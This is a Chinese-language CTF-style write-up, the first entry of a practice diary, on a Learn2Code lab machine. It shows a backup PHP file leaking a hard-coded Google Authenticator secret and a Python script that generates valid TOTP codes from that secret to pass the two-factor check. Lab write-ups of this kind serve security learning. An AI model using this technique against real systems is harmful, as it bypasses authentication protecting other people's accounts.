day-1

想法

不想让自己闲下来,今天开始千靶日记

Learn2Code靶机复盘

信息搜集

只开启80端口,所以肯定是要http服务拿shell,dirsearch扫一下发现

反弹shell

todo.txt内容为******* Remember to delete the bak files!! *******(记得删除备份文件)

来/includes看下

这里主要看php，php里面有个备份文件access.php.bak

access.php内容如下

复制代码

<?php
	require_once 'GoogleAuthenticator.php';
	$ga = new PHPGangsta_GoogleAuthenticator();
	$secret = "S4I22IG3KHZIGQCJ";

	if ($_POST['action'] == 'check_code') {
		$code = $_POST['code'];
		$result = $ga->verifyCode($secret, $code, 1);

		if ($result) {
			include('coder.php');
		} else {
			echo "wrong";
		}
	}
?>

有一个硬编码的密钥,根据提示这是Google Authenticator 实现的TOTP双因素认证的脚本

有了种子其实我们就足够跑出验证码了，找AI写个脚本

复制代码

import time
import hmac
import hashlib
import base64

def get_totp(secret_str):
    # Base32 解码密钥
    secret_bytes = base64.b32decode(secret_str.upper() + '=' * (-len(secret_str) % 8))

    # 当前时间戳（30秒为一个周期）
    epoch = int(time.time() // 30)

    # 构造计数器（8字节）
    counter = epoch.to_bytes(8, 'big')

    # HMAC-SHA1 哈希
    h = hmac.new(secret_bytes, counter, hashlib.sha1).digest()

    # HOTP 截断
    offset = h[-1] & 0x0f
    binary = ((h[offset] & 0x7f) << 24 |
              (h[offset + 1] << 16) |
              (h[offset + 2] << 8) |
              h[offset + 3])
    otp = binary % (10 ** 6)

    return f"{otp:06d}"

# 使用你的 secret
secret = "S4I22IG3KHZIGQCJ"
print("TOTP Code:", get_totp(secret))